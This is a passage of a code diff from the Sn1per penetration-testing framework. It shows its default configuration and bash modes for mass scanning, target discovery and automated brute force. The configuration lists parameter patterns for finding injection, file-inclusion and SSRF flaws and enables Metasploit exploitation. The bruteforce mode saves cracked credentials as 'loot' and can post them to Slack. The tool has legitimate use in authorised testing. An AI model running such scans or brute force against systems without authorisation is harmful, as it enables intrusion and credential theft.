+        print('Active Scan progress: ' + ascan.status(scanId) + '%')
+        time.sleep(5)
+    print('Active Scan completed')
+
+# Give the passive scanner a chance to finish
+time.sleep(5)
+
+# If you want to retrieve alerts:
+## pprint(zap.core.alerts(baseurl=target, start=None, count=None))
+
+print('HTML report:')
+pprint(core.htmlreport())
+
+# To retrieve ZAP report in XML or HTML format
+print('XML report')
+pprint(core.xmlreport())
+
+if shutdownOnceFinished:
+    # Shutdown ZAP once finished
+    pprint('Shutdown ZAP -> ' + core.shutdown())
+
+sys.stdout.close()

build.sh

@@ -1,5 +0,0 @@
-#!/bin/bash
-# build script to push to github... 
-git add *
-git commit -m 'Sn1per by 1N3CrowdShield'
-git push origin master

conf/default

@@ -0,0 +1,245 @@
+INSTALL_DIR="/usr/share/sniper"
+SNIPER_PRO=$INSTALL_DIR/pro.sh
+PLUGINS_DIR="$INSTALL_DIR/plugins"
+
+# COLORS
+OKBLUE='\033[94m'
+OKRED='\033[91m'
+OKGREEN='\033[92m'
+OKORANGE='\033[93m'
+RESET='\e[0m'
+REGEX='^[0-9]+$'
+
+# DEFAULT SETTINGS
+AUTO_BRUTE="0"
+AUTO_VULNSCAN="0"
+FULLNMAPSCAN="0"
+OSINT="0"
+ENABLE_AUTO_UPDATES="1"
+REPORT="1"
+LOOT="1"
+
+# OUT OF SCOPE
+OUT_OF_SCOPE=("www.sn1persecurity.com" "sn1persecurity.com" "*.sn1persecurity.com")
+
+# SN1PER PROFESSIONAL SETTINGS
+SNIPER_PRO_CONSOLE_OUTPUT="0"
+SN1PER_AUTOLOAD="0"
+MAX_HOSTS="2000"
+
+# DEFAULT BROWSER
+BROWSER="firefox"
+
+# BURP 2.0 SCANNER CONFIG
+BURP_HOST="127.0.0.1"
+BURP_PORT="1338"
+
+# OPENVAS CONFIG
+OPENVAS="0"
+OPENVAS_HOST="127.0.0.1"
+OPENVAS_PORT="9390"
+OPENVAS_USERNAME="admin"
+OPENVAS_PASSWORD=""
+OPENVAS_RUNAS_USER="kali"
+
+# NESSUS CONFIG
+NESSUS="0"
+NESSUS_HOST="127.0.0.1:8834"
+NESSUS_USERNAME="admin"
+NESSUS_PASSWORD=""
+NESSUS_POLICY_ID="c3cbcd46-329f-a9ed-1077-554f8c2af33d0d44f09d736969bf"
+
+# METASPLOIT SCANNER CONFIG
+METASPLOIT_IMPORT="0"
+MSF_LHOST="127.0.0.1"
+MSF_LPORT="4444"
+
+# SHODAN API KEY
+SHODAN_API_KEY=""
+
+# CENSYS API KEYS
+CENSYS_APP_ID=""
+CENSYS_API_SECRET=""
+
+# HUNTER.IO API KEY
+HUNTERIO_KEY=""
+
+# TOMBA.IO API
+TOMBAIO_KEY=""
+TOMBAIO_SECRET=""
+
+# GITHUB API KEY
+GITHUB_API_KEY=""
+
+# SLACK API
+SLACK_NOTIFICATIONS="0"
+SLACK_NOTIFICATIONS_THEHARVESTER="0"
+SLACK_NOTIFICATIONS_EMAIL_SECURITY="0"
+SLACK_NOTIFICATIONS_DOMAINS_NEW="0"
+SLACK_NOTIFICATIONS_TAKEOVERS_NEW="0"
+SLACK_NOTIFICATIONS_SUBOVER_NEW="0"
+SLACK_NOTIFICATIONS_SUBJACK_NEW="0"
+SLACK_NOTIFICATIONS_S3_BUCKETS="0"
+SLACK_NOTIFICATIONS_SUBNETS="0"
+SLACK_NOTIFICATIONS_DIRSEARCH_NEW="0"
+SLACK_NOTIFICATIONS_SPIDER_NEW="0"
+SLACK_NOTIFICATIONS_WHATWEB="0"
+SLACK_NOTIFICATIONS_NMAP="0"
+SLACK_NOTIFICATIONS_NMAP_DIFF="0"
+SLACK_NOTIFICATIONS_BRUTEFORCE="0"
+SLACK_NOTIFICATIONS_WHOIS="0"
+SLACK_NOTIFICATIONS_METAGOOFIL="0"
+SLACK_NOTIFICATIONS_ARACHNI_SCAN="0"
+SLACK_NOTIFICATIONS_EMAIL_FORMAT="0"
+
+# ACTIVE WEB BRUTE FORCE STAGES
+WEB_BRUTE_STEALTHSCAN="1"
+WEB_BRUTE_COMMONSCAN="1"
+WEB_BRUTE_FULLSCAN="0"
+WEB_BRUTE_EXPLOITSCAN="0"
+WEB_JAVASCRIPT_ANALYSIS="1"
+MAX_JAVASCRIPT_FILES="25"
+
+# WEB BRUTE FORCE WORDLISTS
+WEB_BRUTE_STEALTH="$INSTALL_DIR/wordlists/web-brute-stealth.txt"
+WEB_BRUTE_COMMON="$INSTALL_DIR/wordlists/web-brute-common.txt"
+WEB_BRUTE_FULL="$INSTALL_DIR/wordlists/web-brute-full.txt"
+WEB_BRUTE_EXPLOITS="$INSTALL_DIR/wordlists/web-brute-exploits.txt"
+WEB_BRUTE_EXTENSIONS="htm,html,asp,aspx,php,jsp,js"
+WEB_BRUTE_EXCLUDE_CODES="400,403,404,405,406,429,500,502,503,504"
+
+# GREP PATTERNS
+STATIC_GREP_SEARCH="1"
+GREP_MAX_LINES="10"
+GREP_INTERESTING_SUBDOMAINS="admin|jenkins|test|proxy|stage|test|dev|devops|staff|db|qa|internal"
+GREP_EXTENSIONS="\.action|\.adr|\.ascx|\.asmx|\.axd|\.backup|\.bak|\.bkf|\.bkp|\.bok|\.achee|\.cfg|\.cfm|\.cgi|\.cnf|\.conf|\.config|\.crt|\.csr|\.csv|\.dat|\.doc|\.docx|\.eml|\.env|\.exe|\.gz|\.ica|\.inf|\.ini|\.java|\.json|\.key|\.log|\.lst|\.mai|\.mbox|\.mbx|\.md|\.mdb|\.nsf|\.old|\.ora|\.pac|\.passwd|\.pcf|\.pdf|\.pem|\.pgp|\.pl| plist|\.pwd|\.rdp|\.reg|\.rtf|\.skr|\.sql|\.swf|\.tpl|\.txt|\.url|\.wml|\.xls|\.xlsx|\.xml|\.xsd|\.yml"
+GREP_PARAMETERS="template=|preview=|id=|view=|activity=|name=|content=|redirect=|(&|[?])access(&|=)|(&|[?])admin(&|=)|(&|[?])dbg(&|=)|(&|[?])debug(&|=)|(&|[?])edit(&|=)|(&|[?])grant(&|=)|(&|[?])test(&|=)|(&|[?])alter(&|=)|(&|[?])clone(&|=)|(&|[?])create(&|=)|(&|[?])delete(&|=)|(&|[?])disable(&|=)|(&|[?])enable(&|=)|(&|[?])exec(&|=)|(&|[?])execute(&|=)|(&|[?])load(&|=)|(&|[?])make(&|=)|(&|[?])modify(&|=)|(&|[?])rename(&|=)|(&|[?])reset(&|=)|(&|[?])shell(&|=)|(&|[?])toggle(&|=)|(&|[?])adm(&|=)|(&|[?])root(&|=)|(&|[?])cfg(&|=)|(&|[?])dest(&|=)|(&|[?])redirect(&|=)|(&|[?])uri(&|=)|(&|[?])path(&|=)|(&|[?])continue(&|=)|(&|[?])url(&|=)|(&|[?])window(&|=)|(&|[?])next(&|=)|(&|[?])data(&|=)|(&|[?])reference(&|=)|(&|[?])site(&|=)|(&|[?])html(&|=)|(&|[?])val(&|=)|(&|[?])validate(&|=)|(&|[?])domain(&|=)|(&|[?])callback(&|=)|(&|[?])return(&|=)|(&|[?])feed(&|=)|(&|[?])host(&|=)|(&|[?])port(&|=)|(&|[?])to(&|=)|(&|[?])out(&|=)|(&|[?])view(&|=)|(&|[?])dir(&|=)|(&|[?])show(&|=)|(&|[?])navigation(&|=)|(&|[?])open(&|=)|(&|[?])file(&|=)|(&|[?])document(&|=)|(&|[?])folder(&|=)|(&|[?])pg(&|=)|(&|[?])php_path(&|=)|(&|[?])style(&|=)|(&|[?])doc(&|=)|(&|[?])img(&|=)|(&|[?])filename(&|=)|id=|select=|report=|role=|update=|query=|user=|name=|sort=|where=|search=|params=|process=|row=|view=|table=|from=|sel=|results=|sleep=|fetch=|order=|keyword=|column=|field=|delete=|string=|number=|filter=|(&|[?])callback=|(&|[?])cgi-bin/redirect.cgi|(&|[?])checkout=|(&|[?])checkout_url=|(&|[?])continue=|(&|[?])data=|(&|[?])dest=|(&|[?])destination=|(&|[?])dir=|(&|[?])domain=|(&|[?])feed=|(&|[?])file=|(&|[?])file_name=|(&|[?])file_url=|(&|[?])folder=|(&|[?])folder_url=|(&|[?])forward=|(&|[?])from_url=|(&|[?])go=|(&|[?])goto=|(&|[?])host=|(&|[?])html=|(&|[?])image_url=|(&|[?])img_url=|(&|[?])load_file=|(&|[?])load_url=|(&|[?])login_url=|(&|[?])logout=|(&|[?])navigation=|(&|[?])next=|(&|[?])next_page=|(&|[?])Open=|(&|[?])out=|(&|[?])page_url=|(&|[?])path=|(&|[?])port=|(&|[?])redir=|(&|[?])redirect=|(&|[?])redirect_to=|(&|[?])redirect_uri=|(&|[?])redirect_url=|(&|[?])reference=|(&|[?])return=|(&|[?])return_path=|(&|[?])return_to=|(&|[?])returnTo=|(&|[?])return_url=|(&|[?])rt=|(&|[?])rurl=|(&|[?])show=|(&|[?])site=|(&|[?])target=|(&|[?])to=|(&|[?])uri=|(&|[?])url=|(&|[?])val=|(&|[?])validate=|(&|[?])view=|(&|[?])window=|daemon=|upload=|dir=|execute=|download=|log=|ip=|cli=|cmd=|file=|document=|folder=|root=|path=|pg=|style=|pdf=|template=|php_path=|doc=|page=|name=|id=|user=|account=|number=|order=|no=|doc=|key=|email=|group=|profile=|edit=|report=|access=|admin=|dbg=|debug=|edit=|grant=|test=|alter=|clone=|create=|delete=|disable=|enable=|exec=|execute=|load=|make=|modify=|rename=|reset=|shell=|toggle=|adm=|root=|cfg=|config="
+GREP_XSS="q=|s=|search=|lang=|keyword=|query=|page=|keywords=|year=|view=|email=|type=|name=|p=|callback=|jsonp=|api_key=|api=|password=|email=|emailto=|token=|username=|csrf_token=|unsubscribe_token=|id=|item=|page_id=|month=|immagine=|list_type=|url=|terms=|categoryid=|key=|l=|begindate=|enddate="
+GREP_SSRF="access|admin|dbg|debug|edit|grant|test|alter|clone|create|delete|disable|enable|exec|execute|load|make|modify|rename|reset|shell|toggle|adm|root|cfg|dest|redirect|uri|path|continue|url|window|next|data|reference|site|html|val|validate|domain|callback|return|page|feed|host|port|to|out|view|dir|show|navigation|open"
+GREP_REDIRECT="forward=|dest=|redirect=|uri=|path=|continue=|url=|window=|to=|out=|view=|dir=|show=|navigation=|Open=|file=|val=|validate=|domain=|callback=|return=|page=|feed=|host=|port=|next=|data=|reference=|site=|html="
+GREP_RCE="daemon|upload|dir|execute|download|log|ip|cli|cmd"
+GREP_IDOR="id|user|account|number|order|no|doc|key|email|group|profile|edit|report"
+GREP_SQL="id|select|report|role|update|query|user|name|sort|where|search|params|process|row|view|table|from|sel|results|sleep|fetch|order|keyword|column|field|delete|string|number|filter"
+GREP_LFI="file|document|folder|root|path|pg|style|pdf|template|php_path|doc"
+GREP_SSTI="template|preview|id|view|activity|name|content|redirect"
+GREP_DEBUG="access|admin|dbg|debug|edit|grant|test|alter|clone|create|delete|disable|enable|exec|execute|load|make|modify|rename|reset|shell|toggle|adm|root|cfg|config"
+
+# DOMAIN WORDLISTS
+DOMAINS_QUICK="$INSTALL_DIR/wordlists/domains-quick.txt"
+DOMAINS_DEFAULT="$INSTALL_DIR/wordlists/domains-default.txt"
+# DOMAINS_FULL="$INSTALL_DIR/wordlists/domains-all.txt"
+
+# DEFAULT USER/PASS WORDLISTS
+USER_FILE="/usr/share/brutex/wordlists/simple-users.txt"
+PASS_FILE="/usr/share/brutex/wordlists/password.lst"
+DNS_FILE="/usr/share/brutex/wordlists/namelist.txt"
+
+# TOOL DIRECTORIES
+SAMRDUMP="$INSTALL_DIR/bin/samrdump.py"
+INURLBR="$INSTALL_DIR/bin/inurlbr.php"
+
+# FLYOVER MODE TUNING
+FLYOVER_MAX_HOSTS="5"
+FLYOVER_DELAY="10"
+
+# NMAP OPTIONS
+NMAP_OPTIONS="--script-args http.useragent='' --open"
+
+# NMAP PORT CONFIGURATIONS
+QUICK_PORTS="21,22,80,443,8000,8080,8443"
+DEFAULT_PORTS="10000,1099,110,111,123,135,137,139,1433,1524,161,162,16992,2049,21,2121,2181,22,23,25,264,27017,27018,27019,28017,3128,3306,3310,3389,3632,389,443,4443,445,49152,49180,500,512,513,514,53,5432,5555,5800,5900,5984,623,624,6667,67,68,69,7001,79,80,8000,8001,8080,8180,8443,8888,9200,9495"
+FULL_PORTSCAN_PORTS="T:1-65535,U:53,U:67,U:68,U:69,U:88,U:161,U:162,U:137,U:138,U:139,U:389,U:500,U:520,U:2049"
+THREADS="100"
+
+# NETWORK PLUGINS
+NMAP_SCRIPTS="1"
+METASPLOIT_EXPLOIT="1"
+MSF_LEGACY_WEB_EXPLOITS="0"
+SSH_AUDIT="1"
+SSH_ENUM="1"
+LIBSSH_BYPASS="1"
+SMTP_USER_ENUM="1"
+FINGER_TOOL="1"
+SHOW_MOUNT="1"
+RPC_INFO="1"
+SMB_ENUM="1"
+AMAP="0"
+
+# OSINT PLUGINS
+WHOIS="1"
+GOOHAK="1"
+INURLBR="1"
+THEHARVESTER="1"
+METAGOOFIL="1"
+HUNTERIO="0"
+TOMBAIO="0"
+INTODNS="1"
+EMAILFORMAT="1"
+ULTRATOOLS="1"
+URLCRAZY="1"
+VHOSTS="0"
+H8MAIL="0"
+GITHUB_SECRETS="0"
+URLSCANIO="1"
+
+# DYNAMIC APPLICATION SCANNERS
+BURP_SCAN="0"
+ARACHNI_SCAN="0"
+ZAP_SCAN="1"
+
+# ACTIVE WEB PLUGINS
+SC0PE_VULNERABLITY_SCANNER="1"
+DIRSEARCH="1"
+GOBUSTER="0"
+NIKTO="0"
+BLACKWIDOW="1"
+INJECTX="1"
+CLUSTERD="0"
+WPSCAN="0"
+CMSMAP="0"
+WAFWOOF="1"
+WHATWEB="1"
+WIG="0"
+SHOCKER="0"
+JEXBOSS="0"
+WEBTECH="1"
+SSL_INSECURE="1"
+HTTP_PROBE="0"
+SMUGGLER="1"
+
+# PASSIVE WEB PLUGINS
+WAYBACKMACHINE="1"
+SSL="1"
+PASSIVE_SPIDER="1"
+GAU="1"
+HACKERTARGET="1"
+CUTYCAPT="0"
+WEBSCREENSHOT="1"
+
+# EMAIL PLUGINS
+SPOOF_CHECK="1"
+
+# RECON PLUGINS
+SUBHIJACK_CHECK="0"
+AQUATONE="0"
+SLURP="0"
+SUBLIST3R="0"
+AMASS="0"
+SUBFINDER="0"
+DNSCAN="0"
+CRTSH="1"
+SUBOVER="0"
+PROJECT_SONAR="1"
+CENSYS_SUBDOMAINS="0"
+SUBNET_RETRIEVAL="1"
+SUBJACK="0"
+ALT_DNS="0"
+MASS_DNS="0"
+DNSGEN="0"
+SHODAN="0"
+ASN_CHECK="1"
+SPYSE="0"
+SUBBRUTE_DNS="0"
+GITHUB_SUBDOMAINS="0"
+RAPIDDNS="1"
+SCAN_ALL_DISCOVERED_DOMAINS="0"

docker-compose-blackarch.yml

@@ -0,0 +1,14 @@
+version: '3.9'
+
+x-logging: &default-logging
+  options:
+    max-size: "40m"
+    max-file: "10"
+  driver: json-file
+
+services:
+  blackarch:
+    container_name: blackarch
+    build:
+      context: .
+      dockerfile: Dockerfile.blackarch

docker-compose.yml

@@ -0,0 +1,14 @@
+version: '3.9'
+
+x-logging: &default-logging
+  options:
+    max-size: "40m"
+    max-file: "10"
+  driver: json-file
+
+services:
+  kali-linux:
+    container_name: kali-linux
+    build:
+      context: .
+      dockerfile: Dockerfile

modes/airstrike.sh

@@ -0,0 +1,85 @@
+# AIRSTRIKE MODE #####################################################################################################
+if [[ "$MODE" = "airstrike" ]]; then
+  if [[ -z "$FILE" ]]; then
+    logo
+    echo "You need to specify a list of targets (ie. -f <targets.txt>) to scan."
+    exit
+  fi
+  if [[ "$REPORT" = "1" ]]; then
+    for a in `cat $FILE`;
+    do
+      if [[ "$AUTO_BRUTE" = "1" ]]; then
+        args="$args -b"
+      fi
+      if [[ "$FULLNMAPSCAN" = "1" ]]; then
+        args="$args -fp"
+      fi
+      if [[ "$OSINT" = "1" ]]; then
+        args="$args -o"
+      fi
+      if [[ "$RECON" = "1" ]]; then
+        args="$args -re"
+      fi
+      if [[ ! -z "$WORKSPACE" ]]; then
+        args="$args -w $WORKSPACE"
+        WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
+        echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
+        mkdir -p $WORKSPACE_DIR 2> /dev/null
+        mkdir $WORKSPACE_DIR/domains 2> /dev/null
+        mkdir $WORKSPACE_DIR/screenshots 2> /dev/null
+        mkdir $WORKSPACE_DIR/nmap 2> /dev/null
+        mkdir $WORKSPACE_DIR/notes 2> /dev/null
+        mkdir $WORKSPACE_DIR/reports 2> /dev/null
+        mkdir $WORKSPACE_DIR/output 2> /dev/null
+      fi
+      args="$args -m stealth --noreport --noloot"
+      TARGET="$a"
+      args="$args -t $TARGET"
+      echo -e "$OKRED                                         |"
+      echo -e "$OKRED                  |                      |"
+      echo -e "$OKRED                  |                    -/_\-"
+      echo -e "$OKRED                -/_\-   ______________(/ . \)______________"
+      echo -e "$OKRED   ____________(/ . \)_____________    \___/     <>"
+      echo -e "$OKRED   <>           \___/      <>    <>"
+      echo -e "$OKRED "
+      echo -e "$OKRED      ||"
+      echo -e "$OKRED      <>"
+      echo -e "$OKRED                            ||"
+      echo -e "$OKRED                            <>"
+      echo -e "$OKRED                                       ||"
+      echo -e "$OKRED                                       ||            BIG"
+      echo -e "$OKRED        _____               __         <>      (^)))^ BOOM!"
+      echo -e "$OKRED  BOOM!/((  )\       BOOM!((  )))            (     ( )"
+      echo -e "$OKRED ---- (__()__))          (() ) ))           (  (  (   )"
+      echo -e "$OKRED     ||  |||____|------    \  (/   ___     (__\     /__)"
+      echo -e "$OKRED      |__|||  |     |---|---|||___|   |___-----|||||"
+      echo -e "$OKRED  |  ||.  |   |       |     |||                |||||"
+      echo -e "$OKRED      |__|||  |     |---|---|||___|   |___-----|||||"
+      echo -e "$OKRED  |  ||.  |   |       |     |||                |||||"
+      echo -e "$OKRED __________________________________________________________"
+      echo -e "$RESET"
+      if [[ ! -z "$WORKSPACE_DIR" ]]; then
+        echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
+        echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
+        echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+        if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+          /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+        fi
+        sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
+      else
+        echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
+        echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
+        sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
+      fi
+      args=""
+    done
+  fi
+  echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+  if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+  fi
+  if [[ "$LOOT" = "1" ]]; then
+    loot
+  fi  
+  exit
+fi

modes/bruteforce.sh

@@ -0,0 +1,34 @@
+if [[ "$AUTO_BRUTE" = "1" ]]; then
+  echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_bruteforce.txt 2> /dev/null
+  ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  echo -e "$OKRED RUNNING BRUTE FORCE $RESET"
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per brute force: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+  if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per brute force: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+  fi
+  brutex $TARGET | tee $LOOT_DIR/credentials/brutex-$TARGET 2> /dev/null
+  sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/credentials/brutex-$TARGET 2> /dev/null > $LOOT_DIR/credentials/brutex-$TARGET.txt 2> /dev/null
+  rm -f $LOOT_DIR/credentials/brutex-$TARGET
+  cd $INSTALL_DIR
+  rm -f hydra.restore
+  rm -f scan.log
+  CRACKED=$(egrep -h -i -s password $LOOT_DIR/credentials/brutex-$TARGET.txt 2> /dev/null | grep host 2> /dev/null)
+  if [[ ${#CRACKED} -ge 5 ]]; then
+    echo "$CRACKED" > $LOOT_DIR/output/cracked-$TARGET.txt 2> /dev/null
+  fi
+  echo ""
+  rm -f $LOOT_DIR/scans/running_${TARGET}_bruteforce.txt 2> /dev/null
+  ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
+
+  if [[ "$SLACK_NOTIFICATIONS_BRUTEFORCE" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/credentials/brutex-$TARGET.txt"
+  fi
+  echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per brute force: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+  if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per brute force: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+  fi
+else
+  echo -e "$OKORANGE + -- --=[ AUTO_BRUTE setting disabled in sniper.conf... skipping.$RESET"
+fi

modes/discover.sh

@@ -0,0 +1,78 @@
+# DISCOVER MODE #####################################################################################################
+if [[ "$MODE" = "discover" ]]; then
+  if [[ "$REPORT" = "1" ]]; then
+    if [[ ! -z "$WORKSPACE" ]]; then
+      WORKSPACE="$(echo $WORKSPACE | tr / -)"
+      args="$args -w $WORKSPACE"
+      LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
+      echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR $OKBLUE[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
+      mkdir -p $LOOT_DIR 2> /dev/null
+      mkdir $LOOT_DIR/ips 2> /dev/null
+      mkdir $LOOT_DIR/screenshots 2> /dev/null
+      mkdir $LOOT_DIR/nmap 2> /dev/null
+      mkdir $LOOT_DIR/notes 2> /dev/null
+      mkdir $LOOT_DIR/reports 2> /dev/null
+      mkdir $LOOT_DIR/output 2> /dev/null
+      mkdir $LOOT_DIR/scans 2> /dev/null
+    fi
+    OUT_FILE="$(echo $TARGET | tr / -)"
+    echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
+    echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$OUT_FILE-$MODE.txt 2> /dev/null
+    echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+    if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+      /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+    fi
+    sniper -t $TARGET -m $MODE --noreport $args | tee $LOOT_DIR/output/sniper-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
+    exit
+  fi
+  echo -e "$OKRED                                                              ____ /\\"
+  echo -e "$OKRED   Sn1per by @xer0dayz @Sn1perSecurity                               \ \\"
+  echo -e "$OKRED   https://sn1persecurity.com                                         \ \\"
+  echo -e "$OKRED                                                                ___ /  \\"
+  echo -e "$OKRED                                                                    \   \\"
+  echo -e "$OKRED                                                                 === > [ \\"
+  echo -e "$OKRED                                                                    /   \ \\"
+  echo -e "$OKRED                                                                    \   / /"
+  echo -e "$OKRED                                                                 === > [ /"
+  echo -e "$OKRED                                                                    /   /"
+  echo -e "$OKRED                                                                ___ \  /"
+  echo -e "$OKRED                                                                    / /"
+  echo -e "$OKRED                                                              ____ / /"
+  echo -e "$OKRED                                                                   \/$RESET"
+  echo ""
+  OUT_FILE=$(echo $TARGET | tr / -)
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  echo -e "$OKRED RUNNING PING DISCOVERY SCAN $RESET"
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  nmap -n -sP $TARGET | tee $LOOT_DIR/ips/sniper-$OUT_FILE-ping.txt
+  cat $LOOT_DIR/ips/sniper-$OUT_FILE-ping.txt 2> /dev/null | grep "scan report" | awk '{print $5}' > $LOOT_DIR/ips/sniper-$OUT_FILE-ping-sorted.txt
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  echo -e "$OKRED RUNNING TCP PORT SCAN $RESET"
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  nmap -n -v -p $QUICK_PORTS $NMAP_OPTIONS -sS $TARGET -Pn 2> /dev/null | grep "open port" | tee $LOOT_DIR/ips/sniper-$OUT_FILE-tcp.txt 2>/dev/null
+  cat $LOOT_DIR/ips/sniper-$OUT_FILE-tcp.txt | grep open | grep on | awk '{print $6}' > $LOOT_DIR/ips/sniper-$OUT_FILE-tcpips.txt
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  echo -e "$OKRED RUNNING UDP PORT SCAN $RESET"
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  nmap -n -v -p $DEFAULT_UDP_PORTS $NMAP_OPTIONS -sU -Pn $TARGET 2> /dev/null | grep "open port" | tee $LOOT_DIR/ips/sniper-$OUT_FILE-udp.txt 2>/dev/null
+  cat $LOOT_DIR/ips/sniper-$OUT_FILE-udp.txt | grep open | grep on | awk '{print $6}' > $LOOT_DIR/ips/sniper-$OUT_FILE-udpips.txt
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  echo -e "$OKRED CURRENT TARGETS $RESET"
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  cat $LOOT_DIR/ips/sniper-$OUT_FILE-ping-sorted.txt $LOOT_DIR/ips/sniper-$OUT_FILE-tcpips.txt $LOOT_DIR/ips/sniper-$OUT_FILE-udpips.txt 2> /dev/null > $LOOT_DIR/ips/sniper-$OUT_FILE-ips-unsorted.txt
+  sort -u $LOOT_DIR/ips/sniper-$OUT_FILE-ips-unsorted.txt > $LOOT_DIR/ips/discover-$OUT_FILE-sorted.txt
+  cat $LOOT_DIR/ips/discover-$OUT_FILE-sorted.txt
+  echo ""
+  echo -e "$OKRED[+]$RESET Target list saved to $LOOT_DIR/ips/discover-$OUT_FILE-sorted.txt "
+  echo -e "$OKRED[i] To scan all IP's, use sniper -f $LOOT_DIR/ips/discover-$OUT_FILE-sorted.txt -m flyover -w $WORKSPACE $RESET"
+  source $INSTALL_DIR/modes/sc0pe.sh 
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  echo -e "$OKRED SCAN COMPLETE! $RESET"
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+  if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
